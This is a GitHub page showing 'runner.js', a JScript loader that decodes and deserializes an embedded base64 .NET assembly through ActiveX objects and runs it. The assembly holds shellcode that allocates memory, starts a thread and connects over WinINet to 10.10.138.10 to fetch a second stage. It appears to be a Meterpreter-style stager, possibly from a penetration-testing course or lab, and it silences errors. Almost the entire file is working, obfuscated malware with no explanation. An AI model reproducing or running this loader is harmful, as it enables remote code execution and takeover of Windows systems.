-
Notifications
You must be signed in to change notification settings - Fork 0
/
runner.js
152 lines (149 loc) · 10.5 KB
/
runner.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
function setversion() {
new ActiveXObject('WScript.Shell').Environment('Process')('COMPLUS_Version') = 'v4.0.30319';
}
function debug(s) {}
function base64ToStream(b) {
var enc = new ActiveXObject("System.Text.ASCIIEncoding");
var length = enc.GetByteCount_2(b);
var ba = enc.GetBytes_4(b);
var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
ba = transform.TransformFinalBlock(ba, 0, length);
var ms = new ActiveXObject("System.IO.MemoryStream");
ms.Write(ba, 0, (length / 4) * 3);
ms.Position = 0;
return ms;
}
var serialized_obj = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"+
"AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph"+
"dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk"+
"ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD"+
"AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRl"+
"RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRU"+
"eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl"+
"cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90"+
"aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAu"+
"MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAH"+
"dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwAA"+
"ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQw"+
"B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVu"+
"dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAAA"+
"CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9u"+
"SG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlCk1lbWJlclR5"+
"cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAACQYAAAAJCQAAAAYR"+
"AAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWN0W10pCAAAAAoBCwAA"+
"AAIAAAAGEgAAACBTeXN0ZW0uWG1sLlNjaGVtYS5YbWxWYWx1ZUdldHRlcgYTAAAATVN5c3RlbS5Y"+
"bWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdh"+
"NWM1NjE5MzRlMDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNz"+
"ZW1ibHkGFwAAAARMb2FkCg8MAAAAABYAAAJNWpAAAwAAAAQAAAD//wAAuAAAAAAAAABAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAADh+6DgC0Cc0huAFMzSFUaGlzIHByb2dy"+
"YW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZS4NDQokAAAAAAAAAFBFAABkhgIAYyogYwAAAAAA"+
"AAAA8AAiIAsCMAAADgAAAAYAAAAAAAAAAAAAACAAAAAAAIABAAAAACAAAAACAAAEAAAAAAAAAAQA"+
"AAAAAAAAAGAAAAACAAAAAAAAAwBAhQAAQAAAAAAAAEAAAAAAAAAAABAAAAAAAAAgAAAAAAAAAAAA"+
"ABAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAwEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABMKQAA"+
"HAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAACAAAEgAAAAAAAAAAAAAAC50ZXh0AAAABA0AAAAgAAAADgAAAAIAAAAAAAAAAAAAAAAAACAA"+
"AGAucnNyYwAAAAwEAAAAQAAAAAYAAAAQAAAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAACAAUAvCAAAJAIAAABAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABMwBgBdAAAAAQAAEQIoDwAA"+
"CiB+AgAAjRIAAAEl0AEAAAQoEAAACiWOaQp+EQAACiAAEAAAIAAwAAAfQCgBAAAGCxYHBigSAAAK"+
"fhEAAAoWB34RAAAKFn4RAAAKKAIAAAYVKAMAAAYmKiIDKBMAAAomKgAAQlNKQgEAAQAAAAAADAAA"+
"AHYyLjAuNTA3MjcAAAAABQBsAAAAAAMAACN+AABsAwAA1AMAACNTdHJpbmdzAAAAAEAHAAAEAAAA"+
"I1VTAEQHAAAQAAAAI0dVSUQAAABUBwAAPAEAACNCbG9iAAAAAAAAAAIAAAFXlQI0CQIAAAD6ATMA"+
"FgAAAQAAABgAAAAEAAAAAQAAAAUAAAANAAAAEwAAAA8AAAABAAAAAQAAAAEAAAADAAAAAQAAAAEA"+
"AAACAAAAAQAAAAAAbQIBAAAAAAAGALAB+QIGAB0C+QIGAP0AuAIPABkDAAAGACUBiAIGAJMBiAIG"+
"AHQBiAIGAAQCiAIGANABiAIGAOkBiAIGADwBiAIGABEB2gIGAO8A2gIGAFcBiAIGAJUDgQIGANQA"+
"+QIGALkAgQIGADsCgQIGAEsD+QIGALYDgQIGAJ4AgQIGALECgQIGAFgC2gIKAGcDuAIAAAAASAAA"+
"AAAAAQABAAEAEABaAwAAPQABAAEAAAEAAFEAAAA9AAEABgATAQAAKgAAAEUAAgAGADMBAQBCAAAA"+
"AACAAJEgeQBGAAEAAAAAAIAAkSCRAE4ABQAAAAAAgACRIIgDWAALAEggAAAAAIYYqwIGAA0AsSAA"+
"AAAAhgBkAxAADQAAAAEAbwMAAAIATAIAAAMAwwAAAAQAnAMAAAEAKAMAAAIAQAIAAAMAeQMAAAQA"+
"nwIAAAUAOwMAAAYAhgAAAAEAsQAAAAIAywIAAAEAUwIJAKsCAQARAKsCBgAZAKsCCgApAKsCEAAx"+
"AKsCEAA5AKsCEABBAKsCEABJAKsCEABRAKsCEABZAKsCEABhAKsCFQBpAKsCEABxAKsCEACBAKsC"+
"BgB5AKsCBgCZAKwDHwCxAJoCJwC5AMwDKgDBAKYDMwAuAAsAXgAuABMAZwAuABsAhgAuACMAjwAu"+
"ACsApAAuADMAzgAuADsAzgAuAEMAjwAuAEsA1AAuAFMAzgAuAFsAzgAuAGMA+QAuAGsAIwFDAFsA"+
"MAFjAHMANgEBAH4CAAAEABoAYAJBAQMAeQABAAABBQCRAAEAAAEHAIgDAQCEKgAAAQAEgAAAAQAA"+
"AAAAAAAAAAAAAAC8AwAAAgAAAAAAAAAAAAAAOQBwAAAAAAACAAAAAAAAAAAAAAA5AIECAAAAAAQA"+
"AwAAAAAAADVBNTc1NjlBRkRFNjE2MEVDMDdCREUzQzc0MTRENTA5MjI0NzFDNzAAX19TdGF0aWNB"+
"cnJheUluaXRUeXBlU2l6ZT02MzgAPE1vZHVsZT4APFByaXZhdGVJbXBsZW1lbnRhdGlvbkRldGFp"+
"bHM+AG1zY29ybGliAFZpcnR1YWxBbGxvYwBscFRocmVhZElkAENyZWF0ZVRocmVhZABSdW50aW1l"+
"RmllbGRIYW5kbGUAaEhhbmRsZQBWYWx1ZVR5cGUAZmxBbGxvY2F0aW9uVHlwZQBDb21waWxlckdl"+
"bmVyYXRlZEF0dHJpYnV0ZQBHdWlkQXR0cmlidXRlAERlYnVnZ2FibGVBdHRyaWJ1dGUAQ29tVmlz"+
"aWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0"+
"cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAQXNzZW1ibHlDb25maWd1cmF0aW9u"+
"QXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxheGF0"+
"aW9uc0F0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRB"+
"dHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0"+
"cmlidXRlAEJ5dGUAZHdTdGFja1NpemUAZHdTaXplAHBhdGgATWFyc2hhbABrZXJuZWwzMi5kbGwA"+
"RXhhbXBsZUFzc2VtYmx5LmRsbABTeXN0ZW0AU3lzdGVtLlJlZmxlY3Rpb24AWmVybwBscFBhcmFt"+
"ZXRlcgAuY3RvcgBJbnRQdHIAU3lzdGVtLkRpYWdub3N0aWNzAGR3TWlsbGlzZWNvbmRzAFN5c3Rl"+
"bS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBTeXN0ZW0uUnVudGltZS5Db21waWxlclNlcnZpY2Vz"+
"AERlYnVnZ2luZ01vZGVzAGxwVGhyZWFkQXR0cmlidXRlcwBkd0NyZWF0aW9uRmxhZ3MAUnVudGlt"+
"ZUhlbHBlcnMAVGVzdENsYXNzAFJ1blByb2Nlc3MAbHBBZGRyZXNzAGxwU3RhcnRBZGRyZXNzAFdh"+
"aXRGb3JTaW5nbGVPYmplY3QAZmxQcm90ZWN0AFN0YXJ0AEluaXRpYWxpemVBcnJheQBFeGFtcGxl"+
"QXNzZW1ibHkAQ29weQAAAAAAAAAARfIGfsnvH0ikh/y2+5cqhgAEIAEBCAMgAAEFIAEBEREEIAEB"+
"DgQgAQECBAcCCBgHAAIBElERVQIGGAgABAEdBQgYCAUAARJhDgi3elxWGTTgiQMGERAHAAQYGAkJ"+
"CQkABhgYCRgYCRgFAAIJGAkIAQAIAAAAAAAeAQABAFQCFldyYXBOb25FeGNlcHRpb25UaHJvd3MB"+
"CAEAAgAAAAAAFAEAD0V4YW1wbGVBc3NlbWJseQAAKQEAJEV4YW1wbGUgQXNzZW1ibHkgZm9yIERv"+
"dE5ldFRvSlNjcmlwdAAABQEAAAAAJAEAH0NvcHlyaWdodCDCqSBKYW1lcyBGb3JzaGF3IDIwMTcA"+
"ACkBACQ1NjU5OGYxYy02ZDg4LTQ5OTQtYTM5Mi1hZjMzN2FiZTU3NzcAAAwBAAcxLjAuMC4wAAAF"+
"AQABAAAEAQAAAAAAAAAAYyogYwAAAAACAAAAHAEAAGgpAABoCwAAUlNEU/szVbf95JtMry5R7nFL"+
"FXwBAAAAQzpcVXNlcnNcb2xkbW9ua1xEb2N1bWVudHNcT1NFUDEyMDkyMlxEb3ROZXRUb0pTY3Jp"+
"cHRcRG90TmV0VG9KU2NyaXB0LW1hc3RlclxEb3ROZXRUb0pTY3JpcHQtbWFzdGVyXEV4YW1wbGVB"+
"c3NlbWJseVxvYmpceDY0XFJlbGVhc2VcRXhhbXBsZUFzc2VtYmx5LnBkYgAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD8SIPk8OjMAAAAQVFBUFJIMdJl"+
"SItSYEiLUhhIi1IgUVZID7dKSk0xyUiLclBIMcCsPGF8AiwgQcHJDUEBweLtUkFRSItSIItCPEgB"+
"0GaBeBgLAg+FcgAAAIuAiAAAAEiFwHRnSAHQi0gYUESLQCBJAdDjVkj/yU0xyUGLNIhIAdZIMcCs"+
"QcHJDUEBwTjgdfFMA0wkCEU50XXYWESLQCRJAdBmQYsMSESLQBxJAdBBiwSIQVhBWEgB0F5ZWkFY"+
"QVlBWkiD7CBBUv/gWEFZWkiLEulL////XUgx21NJvndpbmluZXQAQVZIieFJx8JMdyYH/9VTU0iJ"+
"4VNaTTHATTHJU1NJujpWeacAAAAA/9XoDQAAADEwLjEwLjEzOC4xMABaSInBScfAWxEAAE0xyVNT"+
"agNTSbpXiZ/GAAAAAP/V6FUAAAAvZ1JvcWRFckJYVXg1OVhqM0d0VlFxUVhjbEdGZ3lSLVpVbkhB"+
"dEg3c2lMaXlWeE1pQlRXQkt6bEhQcU1weUg5MEZxU09HMG0xTlJ2U2U5NkhZdHAASInBU1pBWE0x"+
"yVNIuAAyqIQAAAAAUFNTScfC61UuO//VSInGagpfSInxah9aUmiAMwAASYngagRBWUm6dUaehgAA"+
"AAD/1U0xwFNaSInxTTHJTTHJU1NJx8ItBhh7/9WFwHUfSMfBiBMAAEm6RPA14AAAAAD/1Uj/z3QC"+
"66roVQAAAFNZakBaSYnRweIQScfAABAAAEm6WKRT5QAAAAD/1UiTU1NIiedIifFIidpJx8AAIAAA"+
"SYn5SboSloniAAAAAP/VSIPEIIXAdLJmiwdIAcOFwHXSWMNYagBZu+AdKgpBidr/1QAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABABAAAAAYAACAAAAAAAAAAAAAAAAAAAAB"+
"AAEAAAAwAACAAAAAAAAAAAAAAAAAAAABAAAAAABIAAAAWEAAALADAAAAAAAAAAAAALADNAAAAFYA"+
"UwBfAFYARQBSAFMASQBPAE4AXwBJAE4ARgBPAAAAAAC9BO/+AAABAAAAAQAAAAAAAAABAAAAAAA/"+
"AAAAAAAAAAQAAAACAAAAAAAAAAAAAAAAAAAARAAAAAEAVgBhAHIARgBpAGwAZQBJAG4AZgBvAAAA"+
"AAAkAAQAAABUAHIAYQBuAHMAbABhAHQAaQBvAG4AAAAAAAAAsAQQAwAAAQBTAHQAcgBpAG4AZwBG"+
"AGkAbABlAEkAbgBmAG8AAADsAgAAAQAwADAAMAAwADAANABiADAAAABiACUAAQBDAG8AbQBtAGUA"+
"bgB0AHMAAABFAHgAYQBtAHAAbABlACAAQQBzAHMAZQBtAGIAbAB5ACAAZgBvAHIAIABEAG8AdABO"+
"AGUAdABUAG8ASgBTAGMAcgBpAHAAdAAAAAAAIgABAAEAQwBvAG0AcABhAG4AeQBOAGEAbQBlAAAA"+
"AAAAAAAASAAQAAEARgBpAGwAZQBEAGUAcwBjAHIAaQBwAHQAaQBvAG4AAAAAAEUAeABhAG0AcABs"+
"AGUAQQBzAHMAZQBtAGIAbAB5AAAAMAAIAAEARgBpAGwAZQBWAGUAcgBzAGkAbwBuAAAAAAAxAC4A"+
"MAAuADAALgAwAAAASAAUAAEASQBuAHQAZQByAG4AYQBsAE4AYQBtAGUAAABFAHgAYQBtAHAAbABl"+
"AEEAcwBzAGUAbQBiAGwAeQAuAGQAbABsAAAAYgAfAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcA"+
"aAB0AAAAQwBvAHAAeQByAGkAZwBoAHQAIACpACAASgBhAG0AZQBzACAARgBvAHIAcwBoAGEAdwAg"+
"ADIAMAAxADcAAAAAACoAAQABAEwAZQBnAGEAbABUAHIAYQBkAGUAbQBhAHIAawBzAAAAAAAAAAAA"+
"UAAUAAEATwByAGkAZwBpAG4AYQBsAEYAaQBsAGUAbgBhAG0AZQAAAEUAeABhAG0AcABsAGUAQQBz"+
"AHMAZQBtAGIAbAB5AC4AZABsAGwAAABAABAAAQBQAHIAbwBkAHUAYwB0AE4AYQBtAGUAAAAAAEUA"+
"eABhAG0AcABsAGUAQQBzAHMAZQBtAGIAbAB5AAAANAAIAAEAUAByAG8AZAB1AGMAdABWAGUAcgBz"+
"AGkAbwBuAAAAMQAuADAALgAwAC4AMAAAADgACAABAEEAcwBzAGUAbQBiAGwAeQAgAFYAZQByAHMA"+
"aQBvAG4AAAAxAC4AMAAuADAALgAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAQ0AAAAEAAAACRcAAAAJBgAAAAkWAAAABhoAAAAnU3lzdGVtLlJlZmxl"+
"Y3Rpb24uQXNzZW1ibHkgTG9hZChCeXRlW10pCAAAAAoL";
var entry_class = 'TestClass';
try {
setversion();
var stm = base64ToStream(serialized_obj);
var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
var al = new ActiveXObject('System.Collections.ArrayList');
var d = fmt.Deserialize_2(stm);
al.Add(undefined);
var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
} catch (e) {
debug(e.message);
}